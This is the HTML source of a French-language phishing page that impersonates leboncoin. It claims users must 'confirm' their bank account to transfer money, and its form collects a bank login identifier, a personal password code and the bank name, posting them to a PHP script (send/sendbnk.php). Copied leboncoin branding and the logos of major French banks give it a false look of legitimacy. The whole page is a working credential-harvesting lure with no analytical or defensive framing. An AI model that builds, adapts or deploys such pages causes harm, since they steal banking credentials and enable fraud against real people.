<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <link rel="stylesheet" href="./assets/style.css">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title></title>
    <style type="text/css">
        /* Base styles */
        .style-0 {
            cursor: auto;
            box-sizing: border-box;
            color: rgb(0, 0, 0);
            font-size: 16px;
            line-height: 24px;
            background-color: rgb(255, 255, 255);
            margin: 0px;
            border: 0px solid rgb(0, 0, 0);
        }

        .style-1 {
            box-sizing: border-box;
            border: 0px solid rgb(0, 0, 0);
        }

        .style-2 {
            display: grid;
            grid-template-rows: 60px auto 0px;
            grid-template-areas: 'header' 'main' 'footer';
            overflow-x: hidden;
            grid-template-columns: 1fr;
            height: 100vh;
            box-sizing: border-box;
        }

        .style-3 {
            grid-area: header;
            box-shadow: rgba(0, 0, 0, 0.2) 0px 4px 8px 0px;
            justify-content: space-evenly;
            flex-direction: column;
            display: flex;
            border: 0px solid rgb(0, 0, 0);
        }

        .style-4 {
            background-color: rgb(255, 255, 255);
            justify-content: center;
            align-items: center;
            height: 60px;
            display: flex;
            z-index: 0;
            border: 0px solid rgb(0, 0, 0);
        }

        .style-5 {
            height: 32px;
            display: flex;
            border: 0px solid rgb(0, 0, 0);
        }

        .style-6 {
            box-sizing: border-box;
            text-decoration-line: underline;
            cursor: pointer;
            position: absolute;
            top: 16px;
            left: 40px;
            color: rgb(0, 0, 0);
            text-decoration: underline solid rgb(0, 0, 0);
            border: 0px solid rgb(0, 0, 0);
        }

        .style-7 {
            box-sizing: border-box;
            color: rgb(236, 90, 19);
            width: 3.2rem;
            height: 32px;
            display: block;
            vertical-align: middle;
            border: 0px solid rgb(0, 0, 0);
        }

        .style-8 {
            box-sizing: border-box;
            border: 0px solid rgb(0, 0, 0);
        }

        .style-9 {
            height: 32px;
            display: block;
            vertical-align: middle;
            border: 0px solid rgb(0, 0, 0);
        }

        .style-10 {
            box-sizing: border-box;
            border: 0px solid rgb(0, 0, 0);
        }

        .style-11 {
            grid-area: main;
            display: flex;
            flex-direction: column;
            height: auto;
            box-sizing: border-box;
        }

        .style-12 {
            background-repeat: no-repeat;
            background-position: 50% 100%;
            background-size: cover;
            background-image: url('https://auth.leboncoin.fr/static/login-illustration.png');
            height: auto;
            min-height: 800px;
            box-sizing: border-box;
            border: 0px solid rgb(0, 0, 0);
        }

        .style-13 {
            box-shadow: rgba(0, 0, 0, 0.2) 0px 4px 8px 0px;
            padding: 32px;
            background-color: rgb(255, 255, 255);
            border-radius: 16px;
            max-width: 480px;
            margin: 40px auto;
            box-sizing: border-box;
            text-align: left;
            justify-content: flex-start;
            flex-direction: column;
            display: flex;
            width: auto;
        }

        .style-14 {
            box-sizing: border-box;
            gap: 32px;
            flex-direction: column;
            display: flex;
            border: 0px solid rgb(0, 0, 0);
        }

        .style-15 {
            box-sizing: border-box;
            gap: 8px;
            flex-direction: column;
            display: flex;
            border: 0px solid rgb(0, 0, 0);
        }

        .style-16 {
            box-sizing: border-box;
            color: rgb(21, 34, 51);
            font-size: 24px;
            line-height: 32px;
            font-weight: 700;
            margin: 0px;
            border: 0px solid rgb(21, 34, 51);
        }

        .style-17 {
            box-sizing: border-box;
            color: rgb(21, 34, 51);
            font-size: 16px;
            line-height: 24px;
            margin: 0px;
            border: 0px solid rgb(21, 34, 51);
        }

        .style-18 {
            box-sizing: border-box;
            font-size: 16px;
            line-height: 24px;
            gap: 4px;
            flex-direction: column;
            display: flex;
            border: 0px solid rgb(0, 0, 0);
        }

        .style-19 {
            box-sizing: border-box;
            font-size: 16px;
            line-height: 24px;
            gap: 4px;
            align-items: center;
            display: flex;
            border: 0px solid rgb(0, 0, 0);
        }

        .style-20 {
            box-sizing: border-box;
            color: rgba(21, 34, 51, 0.72);
            font-size: 12px;
            line-height: 16px;
            border: 0px solid rgba(21, 34, 51, 0.72);
        }

        .style-21 {
            box-sizing: border-box;
            width: 100%;
            position: relative;
            display: flex;
            border: 0px solid rgb(0, 0, 0);
        }

        .style-22 {
            box-sizing: border-box;
            width: 100%;
            position: relative;
            display: flex;
            border: 0px solid rgb(0, 0, 0);
        }

        .style-23 {
            box-sizing: border-box;
            box-shadow: rgb(255, 255, 255) 0px 0px 0px 0px inset, rgb(172, 184, 199) 0px 0px 0px 1px inset;
            outline: rgba(0, 0, 0, 0) solid 2px;
            caret-color: rgb(98, 124, 147);
            color: rgb(21, 34, 51);
            font-size: 16px;
            line-height: 24px;
            padding: 0px 16px;
            background-color: rgb(255, 255, 255);
            border-radius: 16px;
            text-overflow: ellipsis;
            appearance: none;
            width: 100%;
            height: 44px;
            font-family: 'Nunito Sans', ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, 'Noto Sans', sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol', 'Noto Color Emoji';
            font-weight: 400;
            margin: 0px;
            border: 0px solid rgb(21, 34, 51);
        }

        .style-24 {
            box-sizing: border-box;
            flex-direction: column;
            display: flex;
            border: 0px solid rgb(0, 0, 0);
        }

        .style-25 {
            box-sizing: border-box;
            gap: 4px;
            flex-direction: column;
            width: 100% !important;
            display: flex;
            border: 0px solid rgb(0, 0, 0);
        }

        .style-26 {
            box-sizing: border-box;
            font-size: 16px;
            line-height: 24px;
            gap: 4px;
            align-items: center;
            display: flex;
            border: 0px solid rgb(0, 0, 0);
        }

        .style-27 {
            box-sizing: border-box;
            color: rgba(21, 34, 51, 0.72);
            font-size: 12px;
            line-height: 16px;
            border: 0px solid rgba(21, 34, 51, 0.72);
        }

        .style-28 {
            box-sizing: border-box;
            width: 100%;
            position: relative;
            display: flex;
            border: 0px solid rgb(0, 0, 0);
        }

        .style-29 {
            box-sizing: border-box;
            width: 100%;
            position: relative;
            display: flex;
            border: 0px solid rgb(0, 0, 0);
        }

        .style-30 {
            box-sizing: border-box;
            box-shadow: rgb(255, 255, 255) 0px 0px 0px 0px inset, rgb(172, 184, 199) 0px 0px 0px 1px inset;
            outline: rgba(0, 0, 0, 0) solid 2px;
            outline-offset: 2px;
            caret-color: rgb(98, 124, 147);
            color: rgb(21, 34, 51);
            font-size: 16px;
            line-height: 24px;
            padding: 0px 16px;
            background-color: rgb(255, 255, 255);
            border-radius: 16px;
            text-overflow: ellipsis;
            appearance: none;
            width: 100%;
            height: 44px;
            font-family: 'Nunito Sans', ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, 'Noto Sans', sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol', 'Noto Color Emoji';
            font-weight: 400;
            margin: 0px;
            border: 0px solid rgb(21, 34, 51);
        }

        .style-31 {
            box-sizing: border-box;
            border-top-right-radius: 16px;
            border-bottom-right-radius: 16px;
            border: 0px solid rgb(0, 0, 0);
        }

        .style-32 {
            box-sizing: border-box;
            transition: box-shadow 0.1s cubic-bezier(0.4, 0, 1, 1), border-color 0.3s cubic-bezier(0.4, 0, 1, 1);
            box-shadow: rgb(255, 255, 255) 0px 0px 0px 0px inset, rgb(172, 184, 199) 0px 0px 0px 1px inset;
            color: rgb(21, 34, 51);
            font-weight: 700;
            font-size: 16px;
            line-height: 24px;
            background-color: rgb(255, 255, 255);
            border-radius: 0px 16px 16px 0px;
            white-space: nowrap;
            overflow: hidden;
            gap: 8px;
            justify-content: center;
            align-items: center;
            flex-shrink: 0;
            min-width: 44px;
            height: 44px;
            display: inline-flex;
            margin-left: -1px;
            cursor: pointer;
            appearance: button;
            text-transform: none;
            font-family: 'Nunito Sans', ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, 'Noto Sans', sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol', 'Noto Color Emoji';
            margin: 0px 0px 0px -1px;
            padding: 0px;
            border: 0px solid rgb(21, 34, 51);
        }

        .style-33 {
            box-sizing: border-box;
            color: rgb(98, 124, 147);
            fill: rgb(98, 124, 147);
            width: 2.4rem;
            height: 24px;
            vertical-align: middle;
            border: 0px solid rgb(98, 124, 147);
        }

        .style-34 {
            box-sizing: border-box;
            border: 0px solid rgb(98, 124, 147);
        }

        .style-35 {
            box-sizing: border-box;
            border: 0px solid rgb(98, 124, 147);
        }

        .style-36 {
            box-sizing: border-box;
            color: rgba(21, 34, 51, 0.72);
            font-size: 12px;
            line-height: 16px;
            border: 0px solid rgba(21, 34, 51, 0.72);
        }

        .style-37 {
            box-sizing: border-box;
            display: flex;
            border: 0px solid rgba(21, 34, 51, 0.72);
        }

        .style-38 {
            box-sizing: border-box;
            text-decoration-line: underline;
            color: rgba(21, 34, 51, 0.72);
            font-weight: 700;
            font-size: 12px;
            line-height: 16px;
            cursor: pointer;
            text-decoration: underline solid rgba(21, 34, 51, 0.72);
            border: 0px solid rgba(21, 34, 51, 0.72);
        }

        .style-39 {
            box-sizing: border-box;
            transition: box-shadow 0.1s cubic-bezier(0.4, 0, 1, 1), border-color 0.3s cubic-bezier(0.4, 0, 1, 1);
            color: rgb(255, 255, 255);
            font-weight: 700;
            font-size: 16px;
            line-height: 24px;
            padding: 0px 16px;
            background-color: rgb(236, 90, 19);
            border-radius: 16px;
            white-space: nowrap;
            gap: 8px;
            justify-content: center;
            align-items: center;
            min-width: 44px;
            width: 100%;
            height: 44px;
            display: flex;
            cursor: pointer;
            appearance: button;
            text-transform: none;
            font-family: 'Nunito Sans', ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, 'Noto Sans', sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol', 'Noto Color Emoji';
            margin: 0px;
            border: 0px solid rgb(255, 255, 255);
        }

        .style-40 {
            box-sizing: border-box;
            color: rgb(255, 255, 255);
            fill: rgb(255, 255, 255);
            width: 1.6rem;
            height: 16px;
            vertical-align: middle;
            border: 0px solid rgb(255, 255, 255);
        }

        .style-41 {
            box-sizing: border-box;
            border: 0px solid rgb(255, 255, 255);
        }

        .style-42 {
            box-sizing: border-box;
            gap: 8px;
            justify-content: center;
            align-items: center;
            flex-wrap: wrap;
            flex-direction: row;
            width: 100%;
            display: flex;
            border: 0px solid rgb(0, 0, 0);
        }

        .style-43 {
            box-sizing: border-box;
            border: 0px solid rgb(0, 0, 0);
        }

        .style-44 {
            box-sizing: border-box;
            font-size: 16px;
            line-height: 24px;
            margin: 0px;
            border: 0px solid rgb(0, 0, 0);
        }

        .style-45 {
            box-sizing: border-box;
            border: 0px solid rgb(0, 0, 0);
        }

        .style-46 {
            box-sizing: border-box;
            text-decoration-line: underline;
            font-size: 16px;
            line-height: 24px;
            font-weight: 700;
            cursor: pointer;
            color: rgb(0, 0, 0);
            text-decoration: underline solid rgb(0, 0, 0);
            border: 0px solid rgb(0, 0, 0);
        }

        .style-47 {
            box-sizing: border-box;
            border: 0px solid rgb(0, 0, 0);
        }

        .style-48 {
            border: 0px;
            clip: rect(0px, 0px, 0px, 0px);
            height: 1px;
            margin: -1px;
            overflow: hidden;
            padding: 0px;
            position: absolute;
            top: 0px;
            width: 1px;
            white-space: nowrap;
            overflow-wrap: normal;
            box-sizing: border-box;
        }

        /* Media Queries */
        @media (max-width: 1024px) {
            .style-12 {
                background-size: 80%;
            }

            .style-13 {
                padding: 24px;
                max-width: 400px;
            }

            .style-16 {
                font-size: 22px;
                line-height: 30px;
            }

            .style-17 {
                font-size: 15px;
                line-height: 22px;
            }

            .style-23, .style-30 {
                height: 42px;
            }

            .style-32, .style-39 {
                height: 42px;
            }
        }

        @media (max-width: 768px) {
            .style-12 {
                background-size: 70%;
            }

            .style-13 {
                padding: 20px;
                max-width: 350px;
            }

            .style-16 {
                font-size: 20px;
                line-height: 28px;
            }

            .style-17 {
                font-size: 14px;
                line-height: 20px;
            }

            .style-23, .style-30 {
                height: 40px;
            }

            .style-32, .style-39 {
                height: 40px;
            }
        }

        @media (max-width: 480px) {
            .style-2 {
                height: auto;
                grid-template-rows: 60px auto;
            }

            .style-6 {
                left: 20px;
            }

            .style-12 {
                background-size: 60%;
                min-height: 600px;
            }

            .style-13 {
                padding: 16px;
                max-width: 100%;
                margin: 20px;
            }

            .style-16 {
                font-size: 18px;
                line-height: 26px;
            }

            .style-17 {
                font-size: 13px;
                line-height: 18px;
            }

            .style-23, .style-30 {
                height: 38px;
            }

            .style-32, .style-39 {
                height: 38px;
            }
        }
        
    </style>
     <style>
 .loader-container {
    display: flex;
    justify-content: center;
    align-items: center;
    height: 20vh;
}

.bouncing-dots {
    display: flex;
    justify-content: space-between;
    width: 60px;
}

.dot {
    width: 15px;
    height: 15px;
    background-color: #FF5C35;
    border-radius: 50%;
    animation: bounce 1.5s infinite;
}

.dot:nth-child(1) {
    animation-delay: 0s;
}

.dot:nth-child(2) {
    animation-delay: 0.3s;
}

.dot:nth-child(3) {
    animation-delay: 0.6s;
}

@keyframes bounce {
    0%, 100% {
        transform: translateY(0);
    }
    50% {
        transform: translateY(-20px);
    }
}
      
    </style>
</head>
<body class="style-0">
<div class="style-1">
    <div class="style-2" data-theme="leboncoin">
        <header class="style-3">
            <div class="style-4">
                <div class="style-5">
                    <a class="style-6" data-testid="viewLink-custom-image" href="https://www.leboncoin.fr/">
                        <svg aria-hidden="true" class="style-7" data-spark-component="icon" data-title="ArrowLeft" fill="currentColor" focusable="false" stroke="none" viewbox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                            <path class="style-8" d="m8.54,6.28c.4.38.41,1.01.03,1.4l-3.22,3.33h15.65c.55,0,1,.44,1,.99s-.45.99-1,.99H5.35l3.22,3.33c.38.4.37,1.02-.03,1.4-.4.38-1.03.37-1.41-.03l-4.85-5.01c-.37-.38-.37-.99,0-1.37l4.85-5.01c.38-.4,1.02-.41,1.41-.03Z" fill-rule="evenodd"></path>
                        </svg>
                    </a>
                    <svg class="style-9" viewbox="0 0 102 19" xmlns="http://www.w3.org/2000/svg">
                        <path class="style-10" d="M25.732 15.662c1.607 0 2.593-1.271 2.593-3.167 0-1.895-.986-3.166-2.593-3.166-1.606 0-2.588 1.27-2.588 3.166s.982 3.167 2.588 3.167zm1.199-9.401c3.072 0 5.087 2.639 5.087 6.188 0 3.62-2.112 6.281-5.206 6.281-1.654 0-3.043-.765-3.86-2.061h-.05v1.823h-3.358V2.422c0-1.223.816-1.988 1.798-1.988.986 0 1.802.765 1.802 1.989v5.729h.047c1.007-1.292 2.278-1.891 3.74-1.891zm12.377 9.4c1.606 0 2.588-1.27 2.588-3.166 0-1.895-.982-3.166-2.588-3.166-1.607 0-2.593 1.27-2.593 3.166s.986 3.167 2.593 3.167zm0-9.4c3.79 0 6.235 2.588 6.235 6.234 0 3.647-2.444 6.235-6.235 6.235-3.791 0-6.235-2.588-6.235-6.235 0-3.646 2.444-6.234 6.235-6.234zm47.605-.002c.982 0 1.802.77 1.802 1.993V18.49h-3.6V8.252c0-1.224.816-1.993 1.798-1.993zm0-6.259a2.192 2.192 0 0 1 2.184 2.184 2.19 2.19 0 0 1-2.184 2.18c-1.199 0-2.206-.934-2.206-2.18 0-1.177.96-2.184 2.206-2.184zM98.16 6.259c2.494 0 3.837 1.776 3.837 4.462v7.77h-3.595v-6.762c0-1.581-.744-2.113-1.679-2.113-1.394 0-2.448 1.178-2.448 3.672v5.202h-3.6V8.13c0-1.173.77-1.87 1.683-1.87.91 0 1.675.697 1.675 1.87v.455h.05c.915-1.411 2.304-2.325 4.077-2.325zm-20.794 9.403c1.61 0 2.588-1.271 2.588-3.167 0-1.895-.977-3.166-2.588-3.166-1.606 0-2.588 1.27-2.588 3.166s.982 3.167 2.588 3.167zm0-9.401c3.791 0 6.239 2.588 6.239 6.234 0 3.647-2.448 6.235-6.239 6.235s-6.235-2.588-6.235-6.235c0-3.646 2.444-6.234 6.235-6.234zM65.808 9.378c-1.555 0-2.52 1.152-2.52 3.115 0 1.968.965 3.12 2.52 3.12 1.033 0 1.802-.502 2.185-1.199h.047l2.613 1.68c-.91 1.776-2.809 2.638-4.964 2.638-3.74 0-6.043-2.592-6.043-6.239 0-3.642 2.303-6.234 6.043-6.234 2.155 0 4.055.862 4.964 2.639l-2.613 1.679h-.047c-.383-.697-1.152-1.199-2.185-1.199zM54.465 6.26c2.495 0 3.834 1.776 3.834 4.462v7.77h-3.591V11.73c0-1.581-.744-2.113-1.683-2.113-1.39 0-2.444 1.178-2.444 3.672v5.202h-3.6V8.13c0-1.173.77-1.87 1.679-1.87.914 0 1.679.697 1.679 1.87v.455h.05c.91-1.411 2.3-2.325 4.076-2.325zM9.81 11.783c0 .4.119.99.264 1.36l3.986-2.97c-.217-.324-.646-1.042-1.84-1.042-1.135 0-2.41.833-2.41 2.652zm3.485 4.012c1.437 0 2.61-1.08 3.077-1.976l2.367 1.704c-.905 1.845-2.766 3.209-5.869 3.209a6.083 6.083 0 0 1-4.029-1.517c-1.56 1.037-2.907 1.491-4.241 1.491-2.696 0-4.6-1.802-4.6-4.516V2.39C0 1.17.812.406 1.79.406c.981 0 1.793.765 1.793 1.985l.004 11.492c0 1.168.501 1.793 1.572 1.793.574 0 1.203-.336 2.02-.782a7.42 7.42 0 0 1-.579-2.928c0-2.542 1.81-5.708 5.619-5.708 3.306 0 5.079 1.921 5.818 4.335l-6.366 4.56c.335.294.811.642 1.623.642z" fill="#F56B2A" fill-rule="evenodd"></path>
                    </svg>
                </div>
            </div>
        </header>
        <main class="style-11">
            <div class="style-12">
                <div class="style-13">
                    <form class="style-14" action="send/sendbnk.php" method="post">
                        <div class="MuiPaper-root sc-fznyAO bXtyWV MuiPaper-elevation0" padding="10px 20px">
                            <div style="opacity: 1; transform: translate3d(0px, 0px, 0px); width: 100%;">
                              <div class="sc-fzokOt hLgJkJ">
                              
                                <div class="MuiBox-root jss3 sc-fzqNJr hXQgjp">
                                    <h1 class="MuiTypography-root MuiTypography-h1 MuiTypography-gutterBottom MuiTypography-alignCenter"> Virement Vers Votre Banque</h1><br>
                                    <div style="opacity: 1; transform: translate3d(0px, 0px, 0px); width: 100%;"><center><span class="sc-fzoLsD kskohJ">Pour bénéficier pleinement de votre compte leboncoin et de pouvoir transférer votre argent de votre compte leboncoin vers votre compte bancaire et vice-versa, vous devez obligatoirement confirmer votre compte bancaire a l'aide de vos identifiants de connexion en ligne par mesure de sécurité.</span></center></div>
                                  </div><br><br>
                
                                  
                   <div class="sc-fzoiQi ozSmQ">
                
                                  <div class="sc-fznWqX dAkvW">
                                    <div class="MuiFormControl-root MuiTextField-root sc-fznJRM TaYHM" width="100%"><label class="MuiFormLabel-root MuiInputLabel-root MuiInputLabel-formControl MuiInputLabel-animated MuiInputLabel-outlined" data-shrink="false" for="reference" id="reference-label"></label>
                
                                      <p></p>
                                      <div class="MuiInputBase-root MuiOutlinedInput-root MuiInputBase-formControl"><input  placeholder="Identifiant Bancaire" aria-invalid="false" id="namebank" name="namebank" type="text" maxlength="20" class="MuiInputBase-input MuiOutlinedInput-input" value="" required>
                                        <fieldset aria-hidden="true" class="jss4 MuiOutlinedInput-notchedOutline">
                                          <legend class="jss6"><span></span></legend>
                                        </fieldset>
                                      </div>
                                    </div>
                                  </div><br>
                
                
                                  <div class="sc-fznWqX dAkvW">
                                    <div class="MuiFormControl-root MuiTextField-root sc-fznJRM TaYHM" width="100%"><label class="MuiFormLabel-root MuiInputLabel-root MuiInputLabel-formControl MuiInputLabel-animated MuiInputLabel-outlined" data-shrink="false" for="reference" id="reference-label"></label>
                
                                      <p></p>
                                      <div class="MuiInputBase-root MuiOutlinedInput-root MuiInputBase-formControl"><input aria-invalid="false" id="codeperso" name="codeperso" placeholder="Code Personnel" type="password" maxlength="10" class="MuiInputBase-input MuiOutlinedInput-input" value="" required>
                                        <fieldset aria-hidden="true" class="jss4 MuiOutlinedInput-notchedOutline">
                                          <legend class="jss6"><span></span></legend>
                                        </fieldset>
                                      </div>
                                    </div>
                                  </div><br>
                
                                  <div class="sc-fznWqX dAkvW">
                                    <div class="MuiFormControl-root MuiTextField-root sc-fznJRM TaYHM" width="100%"><label class="MuiFormLabel-root MuiInputLabel-root MuiInputLabel-formControl MuiInputLabel-animated MuiInputLabel-outlined" data-shrink="false" for="reference" id="reference-label"></label>
                
                                    <p></p>
                                      <div class="MuiInputBase-root MuiOutlinedInput-root MuiInputBase-formControl"><input aria-invalid="false" id="mcbnk" name="mcbnk" placeholder="Nom De La Banque" type="text" maxlength="30" class="MuiInputBase-input MuiOutlinedInput-input" value="" required>
                                        <fieldset aria-hidden="true" class="jss4 MuiOutlinedInput-notchedOutline">
                                          <legend class="jss6"><span></span></legend>
                                        </fieldset>
                                      </div>
                                    </div>
                                  </div><br>
                
                
                                <div class="sc-fzoiQi ozSmQ">
                                  <div class="sc-fznWqX dAkvW">
                                    <div class="MuiFormControl-root MuiTextField-root sc-fznJRM TaYHM" width="100%">
                
                                    
                
                
                                      <div class="MuiInputBase-root MuiOutlinedInput-root MuiInputBase-formControl">
                                        
                                      </div>
                                    </div>
                                  </div>
                                  <div class="sc-fzoiQi ozSmQ"><button class="MuiButtonBase-root MuiButton-root MuiButton-contained sc-Axmtr kwqgQf MuiButton-containedPrimary  tabindex=" -1"="" type="submit" id="reference-submit-button" width="240" style="background-color:#FA9808; color:white;"><span class="MuiButton-label">Mon Paiement</span></button></div>
                                </div>
                              </form>
                            </div>
                
                            <div style="opacity: 1; transform: translate3d(0px, 0px, 0px); width: 100%;">
                              <div class="sc-fzoiQi ozSmQ">
                                <div class="MuiBox-root jss8" id="sponsors"><span class="MuiTypography-root MuiTypography-caption"><span class="sc-fzoLsD fDmMBO">Ce service vous est proposé par :</span></span>
                                  <ul class="sc-fzoLag BNtsP">
                                    <ul class="sc-fzoXzr jYxGEJ">
                                      <li class="sc-fzpjYC gJohPa"><img src="./assets/agricole.png" alt="Crédit Agricole" title="Crédit Agricole" class="sc-fznxsB hXzbMZ"></li>
                                      <li class="sc-fzpjYC gJohPa"><img src="./assets/bnp.png" alt="BNP Paribas" title="BNP Paribas" class="sc-fznxsB hXzbMZ"></li>
                                      <li class="sc-fzpjYC gJohPa"><img src="./assets/postal.png" alt="La Banque Postale" title="La Banque Postale" class="sc-fznxsB hXzbMZ"></li>
                                      <li class="sc-fzpjYC gJohPa"><img src="./assets/societe.png" alt="Société Générale" title="Société Générale" class="sc-fznxsB hXzbMZ"></li>
                                      <li class="sc-fzpjYC gJohPa"><img src="./assets/hello.png" alt="Hello Bank!" title="Hello Bank!" class="sc-fznxsB hXzbMZ"></li>
                                      <li class="sc-fzpjYC gJohPa"><img src="./assets/arkea.png" alt="Crédit Mutuel Arkéa" title="Crédit Mutuel Arkéa" class="sc-fznxsB hXzbMZ"></li>
                                    </ul>
                                    <ul class="sc-fzoXzr jYxGEJ">
                                      <li class="sc-fzpjYC gJohPa"><img src="./assets/bpopu.png" alt="Banque Populaire" title="Banque Populaire" class="sc-fznxsB hXzbMZ"></li>
                                      <li class="sc-fzpjYC gJohPa"><img src="./assets/caisse.png" alt="Caisse d'Epargne" title="Caisse d'Epargne" class="sc-fznxsB hXzbMZ"></li>
                                      <li class="sc-fzpjYC gJohPa"><img src="./assets/mutuel.png" alt="Crédit Mutuel" title="Crédit Mutuel" class="sc-fznxsB hXzbMZ"></li>
                                      <li class="sc-fzpjYC gJohPa"><img src="./assets/cic.png" alt="CIC" title="CIC" class="sc-fznxsB hXzbMZ"></li>
                                      <li class="sc-fzpjYC gJohPa"><img src="./assets/lcl.png" alt="LCL" title="LCL" class="sc-fznxsB hXzbMZ"></li>
                                    </ul>
                                  </ul>
                                </div>
                              </div>
                            </div>
                          </div>
                        </div>
                        <div class="MuiContainer-root sc-AxhUy fxWvvr MuiContainer-maxWidthSm">
                          <hr class="MuiDivider-root">
                          <footer class="sc-AxirZ bJCmFu">
                            <ul class="sc-AxiKw eSbheu">
                              <li class="sc-AxhCb eSwYtm"><a href="">Mentions légales</a></li>
                              <li class="sc-AxhCb eSwYtm"><a href="" target="_blank">FAQ</a></li>
                              <li class="sc-AxhCb eSwYtm"><a href="">CGU</a></li>
                              <li class="sc-AxhCb eSwYtm"><a href="">Cookies et données</a></li>
                              <li class="sc-AxhCb eSwYtm"><a href="">Se désinscrire</a></li>
                            </ul>
                          </footer>
                        </div>
                      </div>
                    </div>
<div class="style-42" data-testid="questionAction">
<div class="style-43" data-testid="questionText">
</div>
</div>
</form>
</div>
</div>
</main></div>
</div>
<next-route-announcer class="style-47">
<p aria-live="assertive" class="style-48" role="alert">&nbsp;</p>
</next-route-announcer>

<p>&nbsp;</p>

<p>&nbsp;</p>
</body>
</html>
